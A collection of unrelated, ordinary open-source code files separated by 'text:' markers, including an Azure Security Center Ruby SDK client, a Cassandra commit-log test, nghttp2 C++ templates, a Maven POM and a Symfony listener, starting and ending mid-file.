    static void sendPing(Frame&, const URL& pingURL, const URL& destinationURL);
    static void sendViolationReport(Frame&, const URL& reportURL, RefPtr<FormData>&& report, ViolationReportType);

private:
    enum class ShouldFollowRedirects { No, Yes };
    static void startPingLoad(Frame&, ResourceRequest&, ShouldFollowRedirects);
};

}

#endif


text:
package org.apache.wink.itest;

import java.util.HashSet;
import java.util.Set;

import javax.ws.rs.core.Application;

import org.apache.wink.itest.abc.ClassC;
import org.apache.wink.itest.carstorage.CarFerry;
import org.apache.wink.itest.carstorage.Carport;
import org.apache.wink.itest.carstorage.ParkingGarage;
import org.apache.wink.itest.carstorage.ParkingLot;
import org.apache.wink.itest.fruits.Fruit;

public class InheritanceApplication extends Application {

    public Set<Class<?>> getClasses() {
        Set<Class<?>> classes = new HashSet<Class<?>>();
        classes.add(CarFerry.class);
        classes.add(Carport.class);
        classes.add(ParkingGarage.class);
        classes.add(ParkingLot.class);
        classes.add(ClassC.class);
        classes.add(Fruit.class);
        return classes;
    }

}


text:
package org.apache.cassandra.db;

import java.io.IOException;
import java.util.concurrent.ExecutionException;

import org.junit.Test;

import org.apache.cassandra.CleanupHelper;
import org.apache.cassandra.db.filter.QueryPath;

public class CommitLogTest extends CleanupHelper
{
    @Test
    public void testCleanup() throws IOException, ExecutionException, InterruptedException
    {
        assert CommitLog.getSegmentCount() == 0;
        CommitLog.setSegmentSize(1000);

        Table table = Table.open("Keyspace1");
        ColumnFamilyStore store1 = table.getColumnFamilyStore("Standard1");
        ColumnFamilyStore store2 = table.getColumnFamilyStore("Standard2");
        RowMutation rm;
        byte[] value = new byte[501];

        // add data.  use relatively large values to force quick segment creation since we have a low flush threshold in the test config.
        for (int i = 0; i < 10; i++)
        {
            rm = new RowMutation("Keyspace1", "key1");
            rm.add(new QueryPath("Standard1", null, "Column1".getBytes()), value, 0);
            rm.add(new QueryPath("Standard2", null, "Column1".getBytes()), value, 0);
            rm.apply();
        }
        assert CommitLog.getSegmentCount() > 1;

        // nothing should get removed after flushing just Standard1
        store1.forceBlockingFlush();
        assert CommitLog.getSegmentCount() > 1;

        // after flushing Standard2 we should be able to clean out all segments
        store2.forceBlockingFlush();
        assert CommitLog.getSegmentCount() == 1;
    }
}


text:
module Azure::Security::Mgmt::V2017_08_01_preview
  #
  # API spec for Microsoft.Security (Azure Security Center) resource provider
  #
  class InformationProtectionPolicies
    include MsRestAzure

    #
    # Creates and initializes a new instance of the InformationProtectionPolicies class.
    # @param client service class for accessing basic functionality.
    #
    def initialize(client)
      @client = client
    end

    # @return [SecurityCenter] reference to the SecurityCenter
    attr_reader :client

    #
    # Details of the information protection policy.
    #
    # @param scope [String] Scope of the query, can be subscription
    # (/subscriptions/0b06d9ea-afe6-4779-bd59-30e5c2d9d13f) or management group
    # (/providers/Microsoft.Management/managementGroups/mgName).
    # @param information_protection_policy_name [Enum] Name of the information
    # protection policy. Possible values include: 'effective', 'custom'
    # @param custom_headers [Hash{String => String}] A hash of custom headers that
    # will be added to the HTTP request.
    #
    # @return [InformationProtectionPolicy] operation results.
    #
    def get(scope, information_protection_policy_name, custom_headers:nil)
      response = get_async(scope, information_protection_policy_name, custom_headers:custom_headers).value!
      response.body unless response.nil?
    end

    #
    # Details of the information protection policy.
    #
    # @param scope [String] Scope of the query, can be subscription
    # (/subscriptions/0b06d9ea-afe6-4779-bd59-30e5c2d9d13f) or management group
    # (/providers/Microsoft.Management/managementGroups/mgName).
    # @param information_protection_policy_name [Enum] Name of the information
    # protection policy. Possible values include: 'effective', 'custom'
    # @param custom_headers [Hash{String => String}] A hash of custom headers that
    # will be added to the HTTP request.
    #
    # @return [MsRestAzure::AzureOperationResponse] HTTP response information.
    #
    def get_with_http_info(scope, information_protection_policy_name, custom_headers:nil)
      get_async(scope, information_protection_policy_name, custom_headers:custom_headers).value!
    end

    #
    # Details of the information protection policy.
    #
    # @param scope [String] Scope of the query, can be subscription
    # (/subscriptions/0b06d9ea-afe6-4779-bd59-30e5c2d9d13f) or management group
    # (/providers/Microsoft.Management/managementGroups/mgName).
    # @param information_protection_policy_name [Enum] Name of the information
    # protection policy. Possible values include: 'effective', 'custom'
    # @param [Hash{String => String}] A hash of custom headers that will be added
    # to the HTTP request.
    #
    # @return [Concurrent::Promise] Promise object which holds the HTTP response.
    #
    def get_async(scope, information_protection_policy_name, custom_headers:nil)
      fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
      fail ArgumentError, 'scope is nil' if scope.nil?
      fail ArgumentError, 'information_protection_policy_name is nil' if information_protection_policy_name.nil?

      request_headers = {}
      request_headers['Content-Type'] = 'application/json; charset=utf-8'

      # Set Headers
      request_headers['x-ms-client-request-id'] = SecureRandom.uuid
      request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
      path_template = '{scope}/providers/Microsoft.Security/informationProtectionPolicies/{informationProtectionPolicyName}'

      request_url = @base_url || @client.base_url

      options = {
          middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
          path_params: {'informationProtectionPolicyName' => information_protection_policy_name},
          skip_encoding_path_params: {'scope' => scope},
          query_params: {'api-version' => @client.api_version},
          headers: request_headers.merge(custom_headers || {}),
          base_url: request_url
      }
      promise = @client.make_request_async(:get, path_template, options)

      promise = promise.then do |result|
        http_response = result.response
        status_code = http_response.status
        response_content = http_response.body
        unless status_code == 200
          error_model = JSON.load(response_content)
          fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
        end

        result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
        result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
        result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
        # Deserialize Response
        if status_code == 200
          begin
            parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
            result_mapper = Azure::Security::Mgmt::V2017_08_01_preview::Models::InformationProtectionPolicy.mapper()
            result.body = @client.deserialize(result_mapper, parsed_response)
          rescue Exception => e
            fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
          end
        end

        result
      end

      promise.execute
    end

    #
    # Details of the information protection policy.
    #
    # @param scope [String] Scope of the query, can be subscription
    # (/subscriptions/0b06d9ea-afe6-4779-bd59-30e5c2d9d13f) or management group
    # (/providers/Microsoft.Management/managementGroups/mgName).
    # @param information_protection_policy_name [Enum] Name of the information
    # protection policy. Possible values include: 'effective', 'custom'
    # @param information_protection_policy [InformationProtectionPolicy]
    # Information protection policy.
    # @param custom_headers [Hash{String => String}] A hash of custom headers that
    # will be added to the HTTP request.
    #
    # @return [InformationProtectionPolicy] operation results.
    #
    def create_or_update(scope, information_protection_policy_name, information_protection_policy, custom_headers:nil)
      response = create_or_update_async(scope, information_protection_policy_name, information_protection_policy, custom_headers:custom_headers).value!
      response.body unless response.nil?
    end

    #
    # Details of the information protection policy.
    #
    # @param scope [String] Scope of the query, can be subscription
    # (/subscriptions/0b06d9ea-afe6-4779-bd59-30e5c2d9d13f) or management group
    # (/providers/Microsoft.Management/managementGroups/mgName).
    # @param information_protection_policy_name [Enum] Name of the information
    # protection policy. Possible values include: 'effective', 'custom'
    # @param information_protection_policy [InformationProtectionPolicy]
    # Information protection policy.
    # @param custom_headers [Hash{String => String}] A hash of custom headers that
    # will be added to the HTTP request.
    #
    # @return [MsRestAzure::AzureOperationResponse] HTTP response information.
    #
    def create_or_update_with_http_info(scope, information_protection_policy_name, information_protection_policy, custom_headers:nil)
      create_or_update_async(scope, information_protection_policy_name, information_protection_policy, custom_headers:custom_headers).value!
    end

    #
    # Details of the information protection policy.
    #
    # @param scope [String] Scope of the query, can be subscription
    # (/subscriptions/0b06d9ea-afe6-4779-bd59-30e5c2d9d13f) or management group
    # (/providers/Microsoft.Management/managementGroups/mgName).
    # @param information_protection_policy_name [Enum] Name of the information
    # protection policy. Possible values include: 'effective', 'custom'
    # @param information_protection_policy [InformationProtectionPolicy]
    # Information protection policy.
    # @param [Hash{String => String}] A hash of custom headers that will be added
    # to the HTTP request.
    #
    # @return [Concurrent::Promise] Promise object which holds the HTTP response.
    #
    def create_or_update_async(scope, information_protection_policy_name, information_protection_policy, custom_headers:nil)
      fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
      fail ArgumentError, 'scope is nil' if scope.nil?
      fail ArgumentError, 'information_protection_policy_name is nil' if information_protection_policy_name.nil?
      fail ArgumentError, 'information_protection_policy is nil' if information_protection_policy.nil?

      request_headers = {}
      request_headers['Content-Type'] = 'application/json; charset=utf-8'

      # Set Headers
      request_headers['x-ms-client-request-id'] = SecureRandom.uuid
      request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?

      # Serialize Request
      request_mapper = Azure::Security::Mgmt::V2017_08_01_preview::Models::InformationProtectionPolicy.mapper()
      request_content = @client.serialize(request_mapper,  information_protection_policy)
      request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil

      path_template = '{scope}/providers/Microsoft.Security/informationProtectionPolicies/{informationProtectionPolicyName}'

      request_url = @base_url || @client.base_url

      options = {
          middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
          path_params: {'informationProtectionPolicyName' => information_protection_policy_name},
          skip_encoding_path_params: {'scope' => scope},
          query_params: {'api-version' => @client.api_version},
          body: request_content,
          headers: request_headers.merge(custom_headers || {}),
          base_url: request_url
      }
      promise = @client.make_request_async(:put, path_template, options)

      promise = promise.then do |result|
        http_response = result.response
        status_code = http_response.status
        response_content = http_response.body
        unless status_code == 200 || status_code == 201
          error_model = JSON.load(response_content)
          fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
        end

        result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
        result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
        result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
        # Deserialize Response
        if status_code == 200
          begin
            parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
            result_mapper = Azure::Security::Mgmt::V2017_08_01_preview::Models::InformationProtectionPolicy.mapper()
            result.body = @client.deserialize(result_mapper, parsed_response)
          rescue Exception => e
            fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
          end
        end
        # Deserialize Response
        if status_code == 201
          begin
            parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
            result_mapper = Azure::Security::Mgmt::V2017_08_01_preview::Models::InformationProtectionPolicy.mapper()
            result.body = @client.deserialize(result_mapper, parsed_response)
          rescue Exception => e
            fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
          end
        end

        result
      end

      promise.execute
    end

    #
    # Information protection policies of a specific management group.
    #
    # @param scope [String] Scope of the query, can be subscription
    # (/subscriptions/0b06d9ea-afe6-4779-bd59-30e5c2d9d13f) or management group
    # (/providers/Microsoft.Management/managementGroups/mgName).
    # @param custom_headers [Hash{String => String}] A hash of custom headers that
    # will be added to the HTTP request.
    #
    # @return [Array<InformationProtectionPolicy>] operation results.
    #
    def list(scope, custom_headers:nil)
      first_page = list_as_lazy(scope, custom_headers:custom_headers)
      first_page.get_all_items
    end

    #
    # Information protection policies of a specific management group.
    #
    # @param scope [String] Scope of the query, can be subscription
    # (/subscriptions/0b06d9ea-afe6-4779-bd59-30e5c2d9d13f) or management group
    # (/providers/Microsoft.Management/managementGroups/mgName).
    # @param custom_headers [Hash{String => String}] A hash of custom headers that
    # will be added to the HTTP request.
    #
    # @return [MsRestAzure::AzureOperationResponse] HTTP response information.
    #
    def list_with_http_info(scope, custom_headers:nil)
      list_async(scope, custom_headers:custom_headers).value!
    end

    #
    # Information protection policies of a specific management group.
    #
    # @param scope [String] Scope of the query, can be subscription
    # (/subscriptions/0b06d9ea-afe6-4779-bd59-30e5c2d9d13f) or management group
    # (/providers/Microsoft.Management/managementGroups/mgName).
    # @param [Hash{String => String}] A hash of custom headers that will be added
    # to the HTTP request.
    #
    # @return [Concurrent::Promise] Promise object which holds the HTTP response.
    #
    def list_async(scope, custom_headers:nil)
      fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
      fail ArgumentError, 'scope is nil' if scope.nil?

      request_headers = {}
      request_headers['Content-Type'] = 'application/json; charset=utf-8'

      # Set Headers
      request_headers['x-ms-client-request-id'] = SecureRandom.uuid
      request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
      path_template = '{scope}/providers/Microsoft.Security/informationProtectionPolicies'

      request_url = @base_url || @client.base_url

      options = {
          middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
          skip_encoding_path_params: {'scope' => scope},
          query_params: {'api-version' => @client.api_version},
          headers: request_headers.merge(custom_headers || {}),
          base_url: request_url
      }
      promise = @client.make_request_async(:get, path_template, options)

      promise = promise.then do |result|
        http_response = result.response
        status_code = http_response.status
        response_content = http_response.body
        unless status_code == 200
          error_model = JSON.load(response_content)
          fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
        end

        result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
        result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
        result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
        # Deserialize Response
        if status_code == 200
          begin
            parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
            result_mapper = Azure::Security::Mgmt::V2017_08_01_preview::Models::InformationProtectionPolicyList.mapper()
            result.body = @client.deserialize(result_mapper, parsed_response)
          rescue Exception => e
            fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
          end
        end

        result
      end

      promise.execute
    end

    #
    # Information protection policies of a specific management group.
    #
    # @param next_page_link [String] The NextLink from the previous successful call
    # to List operation.
    # @param custom_headers [Hash{String => String}] A hash of custom headers that
    # will be added to the HTTP request.
    #
    # @return [InformationProtectionPolicyList] operation results.
    #
    def list_next(next_page_link, custom_headers:nil)
      response = list_next_async(next_page_link, custom_headers:custom_headers).value!
      response.body unless response.nil?
    end

    #
    # Information protection policies of a specific management group.
    #
    # @param next_page_link [String] The NextLink from the previous successful call
    # to List operation.
    # @param custom_headers [Hash{String => String}] A hash of custom headers that
    # will be added to the HTTP request.
    #
    # @return [MsRestAzure::AzureOperationResponse] HTTP response information.
    #
    def list_next_with_http_info(next_page_link, custom_headers:nil)
      list_next_async(next_page_link, custom_headers:custom_headers).value!
    end

    #
    # Information protection policies of a specific management group.
    #
    # @param next_page_link [String] The NextLink from the previous successful call
    # to List operation.
    # @param [Hash{String => String}] A hash of custom headers that will be added
    # to the HTTP request.
    #
    # @return [Concurrent::Promise] Promise object which holds the HTTP response.
    #
    def list_next_async(next_page_link, custom_headers:nil)
      fail ArgumentError, 'next_page_link is nil' if next_page_link.nil?

      request_headers = {}
      request_headers['Content-Type'] = 'application/json; charset=utf-8'

      # Set Headers
      request_headers['x-ms-client-request-id'] = SecureRandom.uuid
      request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
      path_template = '{nextLink}'

      request_url = @base_url || @client.base_url

      options = {
          middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
          skip_encoding_path_params: {'nextLink' => next_page_link},
          headers: request_headers.merge(custom_headers || {}),
          base_url: request_url
      }
      promise = @client.make_request_async(:get, path_template, options)

      promise = promise.then do |result|
        http_response = result.response
        status_code = http_response.status
        response_content = http_response.body
        unless status_code == 200
          error_model = JSON.load(response_content)
          fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
        end

        result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
        result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
        result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
        # Deserialize Response
        if status_code == 200
          begin
            parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
            result_mapper = Azure::Security::Mgmt::V2017_08_01_preview::Models::InformationProtectionPolicyList.mapper()
            result.body = @client.deserialize(result_mapper, parsed_response)
          rescue Exception => e
            fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
          end
        end

        result
      end

      promise.execute
    end

    #
    # Information protection policies of a specific management group.
    #
    # @param scope [String] Scope of the query, can be subscription
    # (/subscriptions/0b06d9ea-afe6-4779-bd59-30e5c2d9d13f) or management group
    # (/providers/Microsoft.Management/managementGroups/mgName).
    # @param custom_headers [Hash{String => String}] A hash of custom headers that
    # will be added to the HTTP request.
    #
    # @return [InformationProtectionPolicyList] which provide lazy access to pages
    # of the response.
    #
    def list_as_lazy(scope, custom_headers:nil)
      response = list_async(scope, custom_headers:custom_headers).value!
      unless response.nil?
        page = response.body
        page.next_method = Proc.new do |next_page_link|
          list_next_async(next_page_link, custom_headers:custom_headers)
        end
        page
      end
    end

  end
end


text:
function LoadCountries(GameId){

  //Get all countries
  //Choose Economics, Income, Property and Investment, topicId=9

  //Get all variables and choose one random category from each.
  //var topicVariablesArray = Eqls.getTopicVariables(9);

  //topicVariablesArray.forEach(function(variable)) {

    // variable.categories[0].CategoryLabel CategoryId/Value

  //});

}

GetSomeInfo = function (TopicId, VariableIndex, CategoryIndex, DataIndex, CountryValue){

  var variableArray = Eqls.getTopicVariableArray(TopicId);                          // Get all variable data for specific topic.

  variableLabel = variableArray[VariableIndex].variableLabel;                   // Gets the label for the variable with desired index.
  variableQuestion = variableArray[VariableIndex].question;
  variableId = variableArray[VariableIndex].variableId;                         // Used to get data from Freq query.

  categoryLabel = variableArray[VariableIndex].categories[CategoryIndex].CategoryLabel; // Gets label for category with desired index.

  categoryValue = variableArray[VariableIndex].categories[CategoryIndex].CategoryValue;

  dataArray = Eqls.getDataArrayForVariableAndCountry(variableId, CountryValue);       // Gets array of data for matching variable.

  dataValue = dataArray[DataIndex].freq;
  dataYear = dataArray[DataIndex].year;

  var info = {"name":variableLabel,
      "variableQuestion": variableQuestion,
      "categoryLabel": categoryLabel,
      "dataYear": dataYear,
      "value": dataValue};

  return info;

}


text:
from __future__ import unicode_literals

from django.db import models, migrations
from django.conf import settings

class Migration(migrations.Migration):

    dependencies = [
        ('application', '0007_auto_20141222_1614'),
    ]

    operations = [
        migrations.AlterField(
            model_name='contactdetails',
            name='user',
            field=models.OneToOneField(to=settings.AUTH_USER_MODEL),
            preserve_default=True,
        ),
        migrations.AlterField(
            model_name='otherdetails',
            name='user',
            field=models.OneToOneField(to=settings.AUTH_USER_MODEL),
            preserve_default=True,
        ),
        migrations.AlterField(
            model_name='personaldetails',
            name='user',
            field=models.OneToOneField(to=settings.AUTH_USER_MODEL),
            preserve_default=True,
        ),
    ]


text:
require 'guard/rspec/inspectors/base_inspector.rb'

module Guard
  class RSpec
    module Inspectors
      # Inspector that focuses on set of paths if any of them is failing.
      # Returns only that set of paths on all future calls to #paths
      # until they all pass
      class FocusedInspector < BaseInspector
        attr_accessor :focused_locations

        def initialize(options = {})
          super
          @focused_locations = []
        end

        def paths(paths)
          if focused_locations.any?
            focused_locations
          else
            _clean(paths)
          end
        end

        def failed(locations)
          if locations.empty?
            @focused_locations = []
          else
            @focused_locations = locations if focused_locations.empty?
          end
        end

        def reload
          @focused_locations = []
        end
      end
    end
  end
end


text:
#ifndef TEMPLATE_H
#define TEMPLATE_H

#include "nghttp2_config.h"

#include <memory>
#include <array>
#include <functional>

namespace nghttp2 {

template <typename T, typename... U>
typename std::enable_if<!std::is_array<T>::value, std::unique_ptr<T>>::type
make_unique(U &&... u) {
  return std::unique_ptr<T>(new T(std::forward<U>(u)...));
}

template <typename T>
typename std::enable_if<std::is_array<T>::value, std::unique_ptr<T>>::type
make_unique(size_t size) {
  return std::unique_ptr<T>(new typename std::remove_extent<T>::type[size]());
}

template <typename T, typename... Rest>
std::array<T, sizeof...(Rest)+1> make_array(T &&t, Rest &&... rest) {
  return std::array<T, sizeof...(Rest)+1>{
      {std::forward<T>(t), std::forward<Rest>(rest)...}};
}

template <typename T, size_t N> constexpr size_t array_size(T (&)[N]) {
  return N;
}

template <typename T, size_t N> constexpr size_t str_size(T (&)[N]) {
  return N - 1;
}

// inspired by <http://blog.korfuri.fr/post/go-defer-in-cpp/>, but our
// template can take functions returning other than void.
template <typename F, typename... T> struct Defer {
  Defer(F &&f, T &&... t)
      : f(std::bind(std::forward<F>(f), std::forward<T>(t)...)) {}
  Defer(Defer &&o) : f(std::move(o.f)) {}
  ~Defer() { f(); }

  using ResultType = typename std::result_of<
      typename std::decay<F>::type(typename std::decay<T>::type...)>::type;
  std::function<ResultType()> f;
};

template <typename F, typename... T> Defer<F, T...> defer(F &&f, T &&... t) {
  return Defer<F, T...>(std::forward<F>(f), std::forward<T>(t)...);
}

template <typename T, typename F> bool test_flags(T t, F flags) {
  return (t & flags) == flags;
}

// doubly linked list of element T*.  T must have field T *dlprev and
// T *dlnext, which point to previous element and next element in the
// list respectively.
template <typename T> struct DList {
  DList() : head(nullptr), tail(nullptr) {}

  DList(const DList &) = delete;

  DList &operator=(const DList &) = delete;

  DList(DList &&other) : head(other.head), tail(other.tail) {
    other.head = other.tail = nullptr;
  }

  DList &operator=(DList &&other) {
    if (this == &other) {
      return *this;
    }
    head = other.head;
    tail = other.tail;
    other.head = other.tail = nullptr;
    return *this;
  }

  void append(T *t) {
    if (tail) {
      tail->dlnext = t;
      t->dlprev = tail;
      tail = t;
      return;
    }
    head = tail = t;
  }

  void remove(T *t) {
    auto p = t->dlprev;
    auto n = t->dlnext;
    if (p) {
      p->dlnext = n;
    }
    if (head == t) {
      head = n;
    }
    if (n) {
      n->dlprev = p;
    }
    if (tail == t) {
      tail = p;
    }
    t->dlprev = t->dlnext = nullptr;
  }

  bool empty() const { return head == nullptr; }

  T *head, *tail;
};

template <typename T> void dlist_delete_all(DList<T> &dl) {
  for (auto e = dl.head; e;) {
    auto next = e->dlnext;
    delete e;
    e = next;
  }
}

// User-defined literals for K, M, and G (powers of 1024)

constexpr unsigned long long operator"" _k(unsigned long long k) {
  return k * 1024;
}

constexpr unsigned long long operator"" _m(unsigned long long m) {
  return m * 1024 * 1024;
}

constexpr unsigned long long operator"" _g(unsigned long long g) {
  return g * 1024 * 1024 * 1024;
}

// User-defined literals for time, converted into double in seconds

constexpr double operator"" _h(unsigned long long h) { return h * 60 * 60; }

constexpr double operator"" _min(unsigned long long min) { return min * 60; }

} // namespace nghttp2

#endif // TEMPLATE_H


text:
<?xml version="1.0" encoding="UTF-8"?>
<project
  xmlns="http://maven.apache.org/POM/4.0.0"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">

  <modelVersion>4.0.0</modelVersion>

  <groupId>com.soebes.maven.plugins.test.integration</groupId>
  <artifactId>parent</artifactId>
  <version>0.1</version>

  <packaging>pom</packaging>

  <name>iterator-maven-plugin</name>
  <url>http://www.soebes.de</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
  </properties>

  <dependencyManagement>
    <dependencies>
      <dependency>
        <groupId>org.testng</groupId>
        <artifactId>testng</artifactId>
        <version>6.8.8</version>
      </dependency>
      <dependency>
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>4.8</version>
      </dependency>
      <dependency>
        <groupId>org.easytesting</groupId>
        <artifactId>fest-assert-core</artifactId>
        <version>2.0M10</version>
      </dependency>
      <dependency>
        <groupId>org.easytesting</groupId>
        <artifactId>fest-assert</artifactId>
        <version>1.4</version>
      </dependency>
    </dependencies>
  </dependencyManagement>

  <build>
    <pluginManagement>
      <plugins>
        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-surefire-plugin</artifactId>
          <version>2.17</version>
        </plugin>
        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-failsafe-plugin</artifactId>
          <version>2.17</version>
        </plugin>
        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>3.2</version>
        </plugin>
        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-clean-plugin</artifactId>
          <version>2.6.1</version>
        </plugin>
        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-assembly-plugin</artifactId>
          <version>2.5.3</version>
        </plugin>
        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-jar-plugin</artifactId>
          <version>2.5</version>
        </plugin>
        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-install-plugin</artifactId>
          <version>2.5.2</version>
        </plugin>
        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-war-plugin</artifactId>
          <version>2.5</version>
        </plugin>
        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-resources-plugin</artifactId>
          <version>2.7</version>
        </plugin>
        <plugin>
          <groupId>com.soebes.maven.plugins</groupId>
          <artifactId>maven-echo-plugin</artifactId>
          <version>0.1</version>
        </plugin>
      </plugins>
    </pluginManagement>
  </build>
</project>


text:
/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package dependencyinjection.MVC;

/**
 *
 * @author david
 */
public interface IDelegate {
    public void getNameFromConsole( String name );
}


text:
<?php

namespace Sasedev\Commons\SharedBundle\Listener;

use Doctrine\Bundle\DoctrineBundle\Registry as Doctrine;
use Doctrine\ORM\EntityManager;
use Symfony\Component\HttpKernel\Event\FilterControllerEvent;
use Symfony\Component\HttpKernel\HttpKernel;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
use Sasedev\Commons\SharedBundle\Model\BaseUser;

/**
 * Activity Listener
 *
 * @author sasedev <seif.salah@gmail.com>
 */
class Activity
{

	/**
	 *
	 * @var TokenStorage
	 */
	private $tokenStorage;

	/**
	 *
	 * @var EntityManager
	 */
	private $em;

	/**
	 * Constructor
	 *
	 * @param TokenStorage $tokenStorage
	 * @param Doctrine $doctrine
	 */
	public function __construct(TokenStorage $tokenStorage, Doctrine $doctrine)
	{
		$this->tokenStorage = $tokenStorage;
		$this->em = $doctrine->getManager();
	}

	/**
	 * Update the user "lastActivity" on each request
	 *
	 * @param FilterControllerEvent $event
	 */
	public function onCoreController(FilterControllerEvent $event)
	{
		// Here we are checking that the current request is a "MASTER_REQUEST",
		// and ignore any
		// subrequest in the process (for example when
		// doing a render() in a twig template)
		if ($event->getRequestType() !== HttpKernel::MASTER_REQUEST) {
			return;
		}

		// We are checking a token authentification is available before using
		// the User
		if ($this->tokenStorage->getToken()) {
			$user = $this->tokenStorage->getToken()->getUser();

			// We are using a delay during wich the user will be considered as
			// still active, in order to
			// avoid too much UPDATE in the
			// database
			// $delay = new \DateTime ();
			// $delay->setTimestamp (strtotime ('2 minutes ago'));

			// We are checking the Admin class in order to be certain we can
			// call "getLastActivity".
			// && $user->getLastActivity() < $delay) {
			if ($user instanceof BaseUser) {
				$user->isActiveNow();
				$this->em->persist($user);
				$this->em->flush();
			}
		}
	}
}


text:
package org.apereo.cas.adaptors.x509.authentication.handler.support;

import org.apereo.cas.adaptors.x509.authentication.revocation.checker.AbstractCRLRevocationChecker;
import org.apereo.cas.adaptors.x509.authentication.revocation.checker.RevocationChecker;
import org.apereo.cas.util.crypto.CertUtils;

import lombok.val;
import org.springframework.core.io.ClassPathResource;

import java.security.GeneralSecurityException;
import java.util.Arrays;
import java.util.stream.Collectors;

import static org.apereo.cas.util.junit.Assertions.*;
import static org.junit.jupiter.api.Assertions.*;

/**
 * Base class for {@link RevocationChecker} unit tests.
 *
 * @author Marvin S. Addison
 * @since 3.4.6
 */
public abstract class BaseCRLRevocationCheckerTests {

    protected static void checkCertificate(final AbstractCRLRevocationChecker checker, final String[] certFiles,
                                           final GeneralSecurityException expected) {
        val certificates = Arrays.stream(certFiles)
            .map(file -> CertUtils.readCertificate(new ClassPathResource(file)))
            .collect(Collectors.toList());

        if (expected != null) {
            assertNotNull(expected.getMessage());
        }
        assertThrowsOrNot(expected, () -> {
            for (val cert : certificates) {
                checker.check(cert);
            }
        });
    }
}


text:
extern "Java"
{
  namespace gnu
  {
    namespace javax
    {
      namespace crypto
      {
        namespace jce
        {
          namespace cipher
          {
              class PBES2$HMacWhirlpool$Khazad;
          }
        }
      }
    }
  }
}

class gnu::javax::crypto::jce::cipher::PBES2$HMacWhirlpool$Khazad : public ::gnu::javax::crypto::jce::cipher::PBES2$HMacWhirlpool
{

public:
  PBES2$HMacWhirlpool$Khazad();
  static ::java::lang::Class class$;
};

#endif // __gnu_javax_crypto_jce_cipher_PBES2$HMacWhirlpool$Khazad__


text:
<?php
	/*
		File: css.php

		Test script that uses <xajaxResponse->includeCSS> and <xajaxResponse->removeCSS>
		to effect the active style information on the page dynamically.
	*/

	error_reporting(E_ALL^E_NOTICE);
	ini_set("display_errors", 1);

	require_once("./options.inc.php");
	require_once('./testScriptPlugin.inc.php');

	$objResponse = new xajaxResponse();

	class clsFunctions {
		function clsFunctions() {
		}

		function loadCSS1() {
			global $objResponse;
			$objResponse->includeCSS('css1.css');
			$objResponse->append('log', 'innerHTML', 'CSS1 loaded.
');
			return $objResponse;
		}

		function unloadCSS1() {
			global $objResponse;
			$objResponse->removeCSS('css1.css');
			$objResponse->append('log', 'innerHTML', 'CSS1 unloaded.
');
			return $objResponse;
		}

		function loadCSS2() {
			global $objResponse;
